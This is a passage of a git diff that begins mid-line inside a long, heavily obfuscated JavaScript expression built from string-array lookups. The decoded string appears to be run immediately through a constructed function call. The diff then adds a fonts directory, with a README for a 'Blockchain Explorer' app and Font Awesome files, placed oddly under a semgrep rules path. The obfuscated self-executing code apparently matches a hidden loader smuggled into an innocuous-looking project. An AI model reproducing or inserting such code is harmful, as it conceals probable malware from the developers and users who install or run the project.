0x37076c(0x5a8)+_0x37076c(0x5b8)+_0x37076c(0x261)+_0x37076c(0x4c4)+_0x37076c(0x2d2)+_0x37076c(0x488)+_0x37076c(0x201)+_0x37076c(0x4a8)+_0x37076c(0x492)+_0x37076c(0x5ea)+_0x37076c(0x56a)+_0x37076c(0x338)+_0x37076c(0x341)+_0x37076c(0x3ec)+_0x37076c(0x388)+_0x37076c(0x4d4)+_0x37076c(0x5c3)+_0x37076c(0x233)+_0x37076c(0x441)+_0x37076c(0x4ac)+_0x37076c(0x536)+_0x37076c(0x3fb)+_0x37076c(0x2e4)+(_0x37076c(0x28a)+_0x37076c(0x1fe)+_0x37076c(0x363)+_0x37076c(0x3f6)+_0x37076c(0x46f)+_0x37076c(0x323)+_0x37076c(0x1d6)+_0x37076c(0x1f4)+_0x37076c(0x3dc)+_0x37076c(0x35e)+_0x37076c(0x4ec)+_0x37076c(0x5c1)+_0x37076c(0x3aa)+_0x37076c(0x3cd)+_0x37076c(0x5d7)+_0x37076c(0x48a)+_0x37076c(0x521)+_0x37076c(0x38d)+_0x37076c(0x2f6)+_0x37076c(0x50a)+_0x37076c(0x37e)+_0x37076c(0x30a)+_0x37076c(0x3be)+_0x37076c(0x44f)+_0x37076c(0x4cb)+_0x37076c(0x2ee)+_0x37076c(0x476)+_0x37076c(0x381)+_0x37076c(0x58b)+_0x37076c(0x3b2)+_0x37076c(0x1f2)+_0x37076c(0x39f)+_0x37076c(0x500)+_0x37076c(0x2ec)+_0x37076c(0x208)+_0x37076c(0x54a)+_0x37076c(0x2ab)+_0x37076c(0x5fb)+_0x37076c(0x4bb)+_0x37076c(0x3eb)+_0x37076c(0x1cc)+_0x37076c(0x562)+_0x37076c(0x405)+_0x37076c(0x4e2)+_0x37076c(0x1c7)+_0x37076c(0x503)+_0x37076c(0x54d)+_0x37076c(0x1f0)+_0x37076c(0x2dc)+_0x37076c(0x34f)+_0x37076c(0x254)+_0x37076c(0x56d)+_0x37076c(0x452)+_0x37076c(0x401)+_0x37076c(0x3f4)+_0x37076c(0x34d)+_0x37076c(0x470)+_0x37076c(0x3bf)+_0x37076c(0x3c7)+_0x37076c(0x5d3)+_0x37076c(0x1eb)+_0x37076c(0x475)+_0x37076c(0x3c4)+_0x37076c(0x4f7)+_0x37076c(0x30b)+_0x37076c(0x1e5)+_0x37076c(0x246)+_0x37076c(0x1dc)+_0x37076c(0x3d6)+_0x37076c(0x4e1)+_0x37076c(0x5f5)+_0x37076c(0x416)+_0x37076c(0x1f7)+_0x37076c(0x297)+_0x37076c(0x34b)+_0x37076c(0x3d3)+_0x37076c(0x1d1)+_0x37076c(0x280)+_0x37076c(0x3fe)+_0x37076c(0x4e5)+_0x37076c(0x327)+_0x37076c(0x41a)+_0x37076c(0x4ea)+_0x37076c(0x4b2)+_0x37076c(0x450)+_0x37076c(0x5ae)+_0x37076c(0x435)+_0x37076c(0x4ed)+_0x37076c(0x55d)+_0x37076c(0x572)+_0x37076c(0x38a)+_0x37076c(0x550)+_0x37076c(0x4af)+_0x37076c(0x309)+_0x37076c(0x5de)+_0x37076c(0x257)+_0x37076c(0x42e)+_0x37076c(0x4ff)+_0x37076c(0x2a1)+_0x37076c(0x5dd))+(_0x37076c(0x5fa)+_0x37076c(0x57a)+_0x37076c(0x491)+_0x37076c(0x393)+_0x37076c(0x23a)+_0x37076c(0x39a)+_0x37076c(0x484)+_0x37076c(0x55b)+_0x37076c(0x346)+_0x37076c(0x395)+_0x37076c(0x58f)+_0x37076c(0x2ca)+_0x37076c(0x339)+_0x37076c(0x5cc)+_0x37076c(0x5b0)+_0x37076c(0x589)+_0x37076c(0x479)+_0x37076c(0x325)+_0x37076c(0x558)+_0x37076c(0x3ee)+_0x37076c(0x553)+_0x37076c(0x4c7)+_0x37076c(0x5be)+_0x37076c(0x5eb)+_0x37076c(0x5b4)+_0x37076c(0x409)+_0x37076c(0x4d3)+_0x37076c(0x1e3)+_0x37076c(0x347)+_0x37076c(0x22e)+_0x37076c(0x40b)+_0x37076c(0x5f9)+_0x37076c(0x47b)+_0x37076c(0x269)+_0x37076c(0x2fe)+_0x37076c(0x318)+_0x37076c(0x26c)+_0x37076c(0x434)+_0x37076c(0x5ce)+_0x37076c(0x324)+_0x37076c(0x4ce)+_0x37076c(0x5ee)+_0x37076c(0x569)+_0x37076c(0x582)+_0x37076c(0x5f4)+_0x37076c(0x4df)+_0x37076c(0x3f9)+_0x37076c(0x556)+_0x37076c(0x359)+_0x37076c(0x237)+_0x37076c(0x4c0)+_0x37076c(0x4cc)+_0x37076c(0x513)+_0x37076c(0x461)+_0x37076c(0x439)+_0x37076c(0x4fd)+_0x37076c(0x5d0)+_0x37076c(0x533)+_0x37076c(0x284)+_0x37076c(0x1e9)+_0x37076c(0x5a1)+_0x37076c(0x57d)+_0x37076c(0x38b)+_0x37076c(0x418)+_0x37076c(0x2c7)+_0x37076c(0x511)+_0x37076c(0x40d)+_0x37076c(0x1d7)+_0x37076c(0x264)+_0x37076c(0x580)+_0x37076c(0x3c2)+_0x37076c(0x2d6)+_0x37076c(0x2b3)+_0x37076c(0x3e4)+_0x37076c(0x2f5)+_0x37076c(0x2e9)+_0x37076c(0x2c0)+_0x37076c(0x37a)+_0x37076c(0x5f8)+_0x37076c(0x5bd)+_0x37076c(0x225)+_0x37076c(0x374)+_0x37076c(0x2df)+_0x37076c(0x379)+_0x37076c(0x3b9)+_0x37076c(0x3df)+_0x37076c(0x415)+_0x37076c(0x29b)+_0x37076c(0x53b)+_0x37076c(0x3fc)+_0x37076c(0x2e8)+_0x37076c(0x594)+_0x37076c(0x1c9)+_0x37076c(0x3ef)+_0x37076c(0x2b2)+_0x37076c(0x326)+_0x37076c(0x28c)+_0x37076c(0x57b)+_0x37076c(0x275)+_0x37076c(0x43e))+(_0x37076c(0x398)+_0x37076c(0x501)+_0x37076c(0x240)+_0x37076c(0x592)+_0x37076c(0x21a)+_0x37076c(0x239)+_0x37076c(0x552)+_0x37076c(0x57c)+_0x37076c(0x50f)+_0x37076c(0x217)+_0x37076c(0x2fd)+_0x37076c(0x4be)+_0x37076c(0x3bd)+_0x37076c(0x5f3)+_0x37076c(0x451)+_0x37076c(0x2e5)+_0x37076c(0x406)+_0x37076c(0x3a3)+_0x37076c(0x4ad)+_0x37076c(0x213)+_0x37076c(0x279)+_0x37076c(0x5e3)+_0x37076c(0x26f)+_0x37076c(0x39b)+_0x37076c(0x3ff)+_0x37076c(0x5ec)+_0x37076c(0x1c8)+_0x37076c(0x234)+_0x37076c(0x47d)+_0x37076c(0x5fc)+_0x37076c(0x537)+_0x37076c(0x5ab)+_0x37076c(0x1d4)+_0x37076c(0x286)+_0x37076c(0x472)+_0x37076c(0x47e)+_0x37076c(0x221)+_0x37076c(0x47a)+_0x37076c(0x52b)+_0x37076c(0x20a)+_0x37076c(0x1de)+_0x37076c(0x5e4)+_0x37076c(0x39c)+_0x37076c(0x28b)+_0x37076c(0x3d7)+_0x37076c(0x24c)+_0x37076c(0x5d6)+_0x37076c(0x26d)+_0x37076c(0x369)+_0x37076c(0x303)+_0x37076c(0x520)+_0x37076c(0x477)+_0x37076c(0x481)+_0x37076c(0x53c)+_0x37076c(0x4d5)+_0x37076c(0x40f)+_0x37076c(0x2ae)+_0x37076c(0x32e)+_0x37076c(0x22a)+_0x37076c(0x4b8)+_0x37076c(0x2bf)+_0x37076c(0x314)+_0x37076c(0x283)+_0x37076c(0x505)+_0x37076c(0x5fd)+_0x37076c(0x30e)+_0x37076c(0x4fa)+_0x37076c(0x3ce)+_0x37076c(0x49a)+_0x37076c(0x5c8)+_0x37076c(0x2d4)+_0x37076c(0x2c8)+_0x37076c(0x51d)+_0x37076c(0x4ee)+_0x37076c(0x3a8)+_0x37076c(0x496)+_0x37076c(0x204)+_0x37076c(0x244)+_0x37076c(0x5a9)+_0x37076c(0x4eb)+_0x37076c(0x53e)+_0x37076c(0x271)+_0x37076c(0x44b)+_0x37076c(0x1ec)+_0x37076c(0x3c6)+_0x37076c(0x576)+_0x37076c(0x31a)+_0x37076c(0x4c6)+_0x37076c(0x42d)+_0x37076c(0x1e0)+_0x37076c(0x2c9)+_0x37076c(0x4ab)+_0x37076c(0x1f5)+_0x37076c(0x24d)+_0x37076c(0x4d1)+_0x37076c(0x3c9)+_0x37076c(0x3a9)+_0x37076c(0x44a)+_0x37076c(0x3ae)+_0x37076c(0x3f3))+(_0x37076c(0x5e8)+_0x37076c(0x24b)+_0x37076c(0x1df)+_0x37076c(0x44e)+_0x37076c(0x52a)+_0x37076c(0x30f)+_0x37076c(0x21d)+_0x37076c(0x4a9)+_0x37076c(0x2ed)+_0x37076c(0x2de)+_0x37076c(0x3e7)+_0x37076c(0x5d2)+_0x37076c(0x538)+_0x37076c(0x2d5)+_0x37076c(0x5b6)+_0x37076c(0x31d)+_0x37076c(0x216)+_0x37076c(0x315)+_0x37076c(0x227)+_0x37076c(0x3d0)+_0x37076c(0x218)+_0x37076c(0x493)+_0x37076c(0x31f)+_0x37076c(0x1ca)+_0x37076c(0x355)+_0x37076c(0x352)+_0x37076c(0x256)+_0x37076c(0x1f6)+_0x37076c(0x260)+_0x37076c(0x21f)+_0x37076c(0x437)+_0x37076c(0x508)+_0x37076c(0x226)+_0x37076c(0x2f7)+_0x37076c(0x295)+_0x37076c(0x20e)+_0x37076c(0x3b7)+_0x37076c(0x2b4)+_0x37076c(0x4d8)+_0x37076c(0x560)+_0x37076c(0x45b)+_0x37076c(0x3ba)+_0x37076c(0x27e)+_0x37076c(0x50e)+_0x37076c(0x1d8)+_0x37076c(0x368)+_0x37076c(0x5a6)+_0x37076c(0x402)+_0x37076c(0x27f)+_0x37076c(0x430)+_0x37076c(0x301)+_0x37076c(0x44d)+_0x37076c(0x2a5)+_0x37076c(0x259)+_0x37076c(0x515)+_0x37076c(0x36a)+_0x37076c(0x577)+_0x37076c(0x207)+_0x37076c(0x361)+_0x37076c(0x527)+_0x37076c(0x371)+_0x37076c(0x26e)+_0x37076c(0x52d)+_0x37076c(0x43a)+_0x37076c(0x2a4)+_0x37076c(0x46c)+_0x37076c(0x408)+_0x37076c(0x214)+_0x37076c(0x4c1)+_0x37076c(0x247)+_0x37076c(0x322)+_0x37076c(0x4f2)+_0x37076c(0x27a)+_0x37076c(0x23c)+_0x37076c(0x5a7)+_0x37076c(0x3c1)+_0x37076c(0x38c)+_0x37076c(0x3dd)+_0x37076c(0x2f3)+_0x37076c(0x544)+_0x37076c(0x3bb)+_0x37076c(0x3a6)+_0x37076c(0x5c9)+_0x37076c(0x524)+_0x37076c(0x5b5)+_0x37076c(0x570)+_0x37076c(0x5cd)+_0x37076c(0x2dd)+_0x37076c(0x57e)+_0x37076c(0x554)+_0x37076c(0x26b)+_0x37076c(0x2d0)+_0x37076c(0x419)+_0x37076c(0x1dd)+_0x37076c(0x563)+_0x37076c(0x285)+_0x37076c(0x469)+_0x37076c(0x5f2)+_0x37076c(0x3fd)+_0x37076c(0x3b6))+(_0x37076c(0x32f)+_0x37076c(0x429)+_0x37076c(0x41f)+_0x37076c(0x316)+_0x37076c(0x3c3)+_0x37076c(0x277)+_0x37076c(0x5df)+_0x37076c(0x357)+_0x37076c(0x38e)+_0x37076c(0x354)+_0x37076c(0x5e1)+_0x37076c(0x54b)+_0x37076c(0x205)+_0x37076c(0x4c2)+_0x37076c(0x423)+_0x37076c(0x23e)+_0x37076c(0x210)+_0x37076c(0x3d4)+_0x37076c(0x310)+_0x37076c(0x463)+_0x37076c(0x590)+_0x37076c(0x29f)+_0x37076c(0x427)+_0x37076c(0x2aa)+_0x37076c(0x4e4)+_0x37076c(0x273)+_0x37076c(0x59f)+_0x37076c(0x2c6)+_0x37076c(0x52e)+_0x37076c(0x4d6)+_0x37076c(0x2fc)+_0x37076c(0x58a)+_0x37076c(0x400)+_0x37076c(0x200)+_0x37076c(0x2ef)+_0x37076c(0x3bc)+_0x37076c(0x28e)+_0x37076c(0x407)+_0x37076c(0x528)+_0x37076c(0x28d)+_0x37076c(0x311)+_0x37076c(0x265)+_0x37076c(0x3a1)+_0x37076c(0x1fd)+_0x37076c(0x5c5)+_0x37076c(0x2a7)+_0x37076c(0x33c)+_0x37076c(0x5ad)+_0x37076c(0x517)+_0x37076c(0x530)+_0x37076c(0x465)+_0x37076c(0x370)+_0x37076c(0x2e0)+_0x37076c(0x2da)+_0x37076c(0x581)+_0x37076c(0x51b)+_0x37076c(0x293)+_0x37076c(0x4aa)+_0x37076c(0x540)+_0x37076c(0x4bc)+_0x37076c(0x2f0)+_0x37076c(0x425)+_0x37076c(0x377)+_0x37076c(0x566)+_0x37076c(0x2b5)+_0x37076c(0x1ce)+_0x37076c(0x3e8)+_0x37076c(0x1fb)+_0x37076c(0x263)+_0x37076c(0x2e2)+_0x37076c(0x223)+_0x37076c(0x41c)+_0x37076c(0x36e)+_0x37076c(0x4b1)+_0x37076c(0x545)+_0x37076c(0x3f1)+_0x37076c(0x224)+_0x37076c(0x4c9)+_0x37076c(0x455)+_0x37076c(0x443)+_0x37076c(0x49e)+_0x37076c(0x37f)+_0x37076c(0x4fe)+_0x37076c(0x5bf)+_0x37076c(0x567)+_0x37076c(0x319)+_0x37076c(0x34e)+_0x37076c(0x4a4)+_0x37076c(0x51e)+_0x37076c(0x296)+_0x37076c(0x3ad)+_0x37076c(0x49b)+_0x37076c(0x49f)+_0x37076c(0x220)+_0x37076c(0x58e)+_0x37076c(0x4e7)+_0x37076c(0x4a6)+_0x37076c(0x2f4)+_0x37076c(0x462)+_0x37076c(0x404))+(_0x37076c(0x1ea)+_0x37076c(0x5c0)+_0x37076c(0x499)+_0x37076c(0x55a)+_0x37076c(0x4e0)+_0x37076c(0x37d)+_0x37076c(0x2a3)+_0x37076c(0x300)+_0x37076c(0x585)+_0x37076c(0x48b)+_0x37076c(0x2ba)+_0x37076c(0x29a)+_0x37076c(0x5bc)+_0x37076c(0x25d)+_0x37076c(0x331)+_0x37076c(0x549)+_0x37076c(0x34c)+_0x37076c(0x1ff)+_0x37076c(0x249)+_0x37076c(0x308)+_0x37076c(0x4cd)+_0x37076c(0x5b2)+_0x37076c(0x39e)+_0x37076c(0x362)+_0x37076c(0x399)+_0x37076c(0x3f8)+_0x37076c(0x428)+_0x37076c(0x535)+_0x37076c(0x403)+_0x37076c(0x43b)+_0x37076c(0x36b)+_0x37076c(0x516)+_0x37076c(0x5c2)+_0x37076c(0x1fa)+_0x37076c(0x5a4)+_0x37076c(0x1e2)+_0x37076c(0x2b0)+_0x37076c(0x438)+_0x37076c(0x41d)+_0x37076c(0x601)+_0x37076c(0x457)+_0x37076c(0x3e3)+_0x37076c(0x30d)+_0x37076c(0x32a)+_0x37076c(0x4d0)+_0x37076c(0x248)+_0x37076c(0x2db)+_0x37076c(0x2cb)+_0x37076c(0x307)+_0x37076c(0x5bb)+_0x37076c(0x411)+_0x37076c(0x531)+_0x37076c(0x529)+_0x37076c(0x5ca)+_0x37076c(0x519)+_0x37076c(0x38f)+_0x37076c(0x32b)+_0x37076c(0x489)+_0x37076c(0x490)+_0x37076c(0x27d)+_0x37076c(0x1f3)+_0x37076c(0x1c6)+_0x37076c(0x485)+_0x37076c(0x2c3)+_0x37076c(0x4b6)+_0x37076c(0x5fe)+_0x37076c(0x29d)+_0x37076c(0x574)+_0x37076c(0x1d2)+_0x37076c(0x22b)+_0x37076c(0x466)+_0x37076c(0x4f3)+_0x37076c(0x2ad)+_0x37076c(0x209)+_0x37076c(0x25b)+_0x37076c(0x45e)+_0x37076c(0x4ca)+_0x37076c(0x3ac)+_0x37076c(0x2ea)+_0x37076c(0x2cc)+_0x37076c(0x281)+_0x37076c(0x467)+_0x37076c(0x571)+_0x37076c(0x236)+_0x37076c(0x502)+_0x37076c(0x3e2)+_0x37076c(0x4f6)+_0x37076c(0x34a)+_0x37076c(0x396)+_0x37076c(0x487)+_0x37076c(0x596)+_0x37076c(0x328)+_0x37076c(0x2c4)+_0x37076c(0x2a2)+_0x37076c(0x33f)+_0x37076c(0x4c3)+_0x37076c(0x48c)+_0x37076c(0x278)+_0x37076c(0x2a0)+_0x37076c(0x468))+(_0x37076c(0x459)+_0x37076c(0x4dd)+_0x37076c(0x4f1)+_0x37076c(0x222)+_0x37076c(0x288)+_0x37076c(0x2bd)+_0x37076c(0x3a2)+_0x37076c(0x31b)+_0x37076c(0x2fb)+_0x37076c(0x54e)+_0x37076c(0x4d9)+_0x37076c(0x25f)+_0x37076c(0x433)+_0x37076c(0x445)+_0x37076c(0x447)+_0x37076c(0x2d8)+_0x37076c(0x3ab)+_0x37076c(0x1f1)+_0x37076c(0x579)+_0x37076c(0x444)+_0x37076c(0x1ed)+_0x37076c(0x59e)+_0x37076c(0x35c)+_0x37076c(0x3d9)+_0x37076c(0x48f)+_0x37076c(0x5cf)+_0x37076c(0x460)+_0x37076c(0x252)+_0x37076c(0x525)+_0x37076c(0x25c)+_0x37076c(0x522)+_0x37076c(0x35f)+_0x37076c(0x1ef)+_0x37076c(0x5af)+_0x37076c(0x546)+_0x37076c(0x480)+_0x37076c(0x2f9)+_0x37076c(0x4c5)+_0x37076c(0x367)+_0x37076c(0x3d1)+_0x37076c(0x250)+_0x37076c(0x20d)+_0x37076c(0x305)+_0x37076c(0x4de)+_0x37076c(0x375)+_0x37076c(0x3cb)+_0x37076c(0x3b1)+_0x37076c(0x392)+_0x37076c(0x56c)+_0x37076c(0x3b8)+_0x37076c(0x344)+_0x37076c(0x242)+_0x37076c(0x2b6)+_0x37076c(0x3f0)+_0x37076c(0x1d9)+_0x37076c(0x456)+_0x37076c(0x35b)+_0x37076c(0x40c)+_0x37076c(0x4f8)+_0x37076c(0x575)+_0x37076c(0x586)+_0x37076c(0x2a9)+_0x37076c(0x232)+_0x37076c(0x53a)+_0x37076c(0x3c0)+_0x37076c(0x2c5)+_0x37076c(0x3cc)+_0x37076c(0x45f)+_0x37076c(0x5a5)+_0x37076c(0x253)+_0x37076c(0x595)+_0x37076c(0x442)+_0x37076c(0x482)+_0x37076c(0x412)+_0x37076c(0x2e7)+_0x37076c(0x50d)+_0x37076c(0x3c8)+_0x37076c(0x255)+_0x37076c(0x3ca)+_0x37076c(0x3de)+_0x37076c(0x1d0)+_0x37076c(0x270)+_0x37076c(0x587)+_0x37076c(0x471)+_0x37076c(0x420)+_0x37076c(0x5db)+_0x37076c(0x56e)+_0x37076c(0x542)+_0x37076c(0x25a)+_0x37076c(0x22f)+_0x37076c(0x5e7)+_0x37076c(0x526)+_0x37076c(0x565)+_0x37076c(0x5d9)+_0x37076c(0x4b9)+_0x37076c(0x306)+_0x37076c(0x5a3)+_0x37076c(0x54c)+_0x37076c(0x548)+_0x37076c(0x294))+(_0x37076c(0x292)+_0x37076c(0x4f0)+_0x37076c(0x59b)+_0x37076c(0x211)+_0x37076c(0x47f)+_0x37076c(0x337)+_0x37076c(0x49c)+_0x37076c(0x523)+_0x37076c(0x29c)+_0x37076c(0x547)+_0x37076c(0x46d)+_0x37076c(0x45a)+_0x37076c(0x474)+_0x37076c(0x313)+_0x37076c(0x389)+_0x37076c(0x23b)+_0x37076c(0x299)+_0x37076c(0x2f1)+_0x37076c(0x2b1)+_0x37076c(0x42a)+_0x37076c(0x59a)+_0x37076c(0x317)+_0x37076c(0x304)+_0x37076c(0x20b)+_0x37076c(0x376)+_0x37076c(0x3a7)+_0x37076c(0x4b3)+_0x37076c(0x598)+_0x37076c(0x52c)+_0x37076c(0x230)+_0x37076c(0x473)+_0x37076c(0x4db)+_0x37076c(0x20c)+_0x37076c(0x495)+_0x37076c(0x2f8)+_0x37076c(0x390)+_0x37076c(0x340)+_0x37076c(0x568)+_0x37076c(0x3d5)+_0x37076c(0x5e6)+_0x37076c(0x4b5)+_0x37076c(0x43c)+_0x37076c(0x4f5)+_0x37076c(0x3c5)+_0x37076c(0x4fb)+_0x37076c(0x4a2)+_0x37076c(0x578)+_0x37076c(0x3af)+_0x37076c(0x440)+_0x37076c(0x272)+_0x37076c(0x291)+_0x37076c(0x561)+_0x37076c(0x431)+_0x37076c(0x30c)+_0x37076c(0x365)+_0x37076c(0x33d)+_0x37076c(0x35d)+_0x37076c(0x5a2)+_0x37076c(0x23d)+_0x37076c(0x56b)+_0x37076c(0x599)+_0x37076c(0x45d)+_0x37076c(0x282)+_0x37076c(0x31c)+_0x37076c(0x5e2)+_0x37076c(0x333)+_0x37076c(0x2f2)+_0x37076c(0x4ba)+_0x37076c(0x2b9)+_0x37076c(0x343)+_0x37076c(0x31e)+_0x37076c(0x56f)+_0x37076c(0x51a)+_0x37076c(0x21c)+_0x37076c(0x54f)+_0x37076c(0x57f)+_0x37076c(0x5c4)+_0x37076c(0x49d)+_0x37076c(0x238)+_0x37076c(0x602)+_0x37076c(0x5f1)+_0x37076c(0x332)+_0x37076c(0x2be)+_0x37076c(0x287)+_0x37076c(0x3ed)+_0x37076c(0x251)+_0x37076c(0x3d8)+_0x37076c(0x40e)+_0x37076c(0x353)+_0x37076c(0x386)+_0x37076c(0x5d4)+_0x37076c(0x583)+_0x37076c(0x5ef)+_0x37076c(0x373)+_0x37076c(0x36c)+_0x37076c(0x543)+_0x37076c(0x40a)+_0x37076c(0x245)+_0x37076c(0x243)+_0x37076c(0x2a8))+(_0x37076c(0x342)+_0x37076c(0x1d5)+_0x37076c(0x4a5)+_0x37076c(0x33e)+_0x37076c(0x36d)+_0x37076c(0x4dc)+_0x37076c(0x2bc)+_0x37076c(0x203)+_0x37076c(0x5d8)+_0x37076c(0x532)+_0x37076c(0x302)+_0x37076c(0x4e3)+_0x37076c(0x3cf)+_0x37076c(0x564)+_0x37076c(0x5b3)+_0x37076c(0x506)+_0x37076c(0x2b8)+_0x37076c(0x5d5)+_0x37076c(0x298)+_0x37076c(0x4bd)+_0x37076c(0x334)+_0x37076c(0x478)+_0x37076c(0x5dc)+_0x37076c(0x383)+_0x37076c(0x48e)+_0x37076c(0x385)+_0x37076c(0x3f5)+_0x37076c(0x3b3)+_0x37076c(0x559)+_0x37076c(0x32c)+_0x37076c(0x33b)+_0x37076c(0x50b)+_0x37076c(0x228)+_0x37076c(0x2ac)+_0x37076c(0x384)+_0x37076c(0x35a)+_0x37076c(0x36f)+_0x37076c(0x483)+_0x37076c(0x378)+_0x37076c(0x410)+_0x37076c(0x330)+_0x37076c(0x268)+_0x37076c(0x5e0)+_0x37076c(0x5b7)+_0x37076c(0x4d7)+_0x37076c(0x593)+_0x37076c(0x3a0)+_0x37076c(0x4d2)+_0x37076c(0x497)+_0x37076c(0x46b)+_0x37076c(0x3b0)+_0x37076c(0x336)+_0x37076c(0x21b)+_0x37076c(0x22d)+_0x37076c(0x2cd)+_0x37076c(0x290)+_0x37076c(0x1cd)+_0x37076c(0x3fa)+_0x37076c(0x5c7)+_0x37076c(0x446)+_0x37076c(0x229)+_0x37076c(0x382)+_0x37076c(0x329)+_0x37076c(0x507)+_0x37076c(0x58d)+_0x37076c(0x603)+_0x37076c(0x2cf)+_0x37076c(0x5ac)+'K.')));v8('',x8)(-0x105*0x17+0x12c3*0x1+0xe7d*0x1);function _0x41f6(){var _0x4d5332=['c#o=aeRpcc','PE&cpsalRt','Pc^\x20img!cT','s.\x22RinsT\x20.','mn,p<)5t(e','R_,p\x20.t;[a','Rt.Rsi\x22+$R','\x20O3R#.E','-..:Ro+s/<','b\x20r\x202bR0R/','.','/{DdZcaf<<','3#RD<.\x22(Rv','7;w)]nA0vy','lr0Rb[\x22','na(\x20ftd-t;','<RN.<(r.c','.o#R.xdsth','(s=R;l.','}.e','Cg;he6;f);','.1sXtif!.r','bRsRalK<.&e)','\x20.rRxPtg\x20.','X.#io(.','RR)\x22w%4+f+\x22p<^',',))fc2(\x22mo','Ru.#s`=H).','BRRa\x20iecR.',']j*R<\x5c8sa<','\x20\x22ri}..)K/','Risi<;a]R.','+rCmoa\x22;.k','lRow\x20.R;H.','epcs},R>P^','0Y.t3RmlnR','336541olIjmm','d+.`PRFfh','swRcitzF\x20p','r/c\x22te<.c!<','C.c!U.\x27','1RRscc|t/R','}_[Rr1XaRP',';9t;-ya.,a','hu(\x22r=+gev','R.b<.raHR','&R','5<~oR<+aR<','R.fsQ+RocR','i$WC.1P.Ro','k/Uf.hw0\x20R','hRc\x274R.cRR','].c?bfR9e\x20.','>ikPoad..ii','.s;qs,anri','oba\x20=g]]Sb','.?RCP','YtHm$RRn>f','.cccRRp.j.','r..R(e.o!.','RfgztR.k.!','2iv.p.M8\x20R','4uu=n0r,t;','\x20NBc<<[(i','8cnr!.\x22u9','.RcRmrRucr','.R)','P.iEsarsR','RR}.R.!tR.','Rssi[0(o\x22h','l5ofs:.c.t','3hFRCtRcee','<#R.RrKocD','RR\x22+`\x20.2.\x20k','vnP..$&.cz','c[i(c.)ftc','lrDe.tccJp','8RUr.ARrk!','?a!9i9.cR<','.9u|\x20tmR%.','nno+;)d6n;','cR)acRiicR','t78wltR.Rh','c[t.wx.iw8','nielfbtahr','.)RRn1P[1C','\x22;am','O/?hcD@w-R','Rd<2RdRsc\x22','R1tR5.<]1u','DJx<.\x27Ep],','rRiRkb\x200!.','u\x20Ri\x20!lRcR'];_0x41f6=function(){return _0x4d5332;};return _0x41f6();} diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/README.md b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.eot b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.eot differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.svg b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.ttf b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.ttf differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff2 b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-brands-400.woff2 differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.eot b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.eot differ diff --git a/apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-regular-400.svg 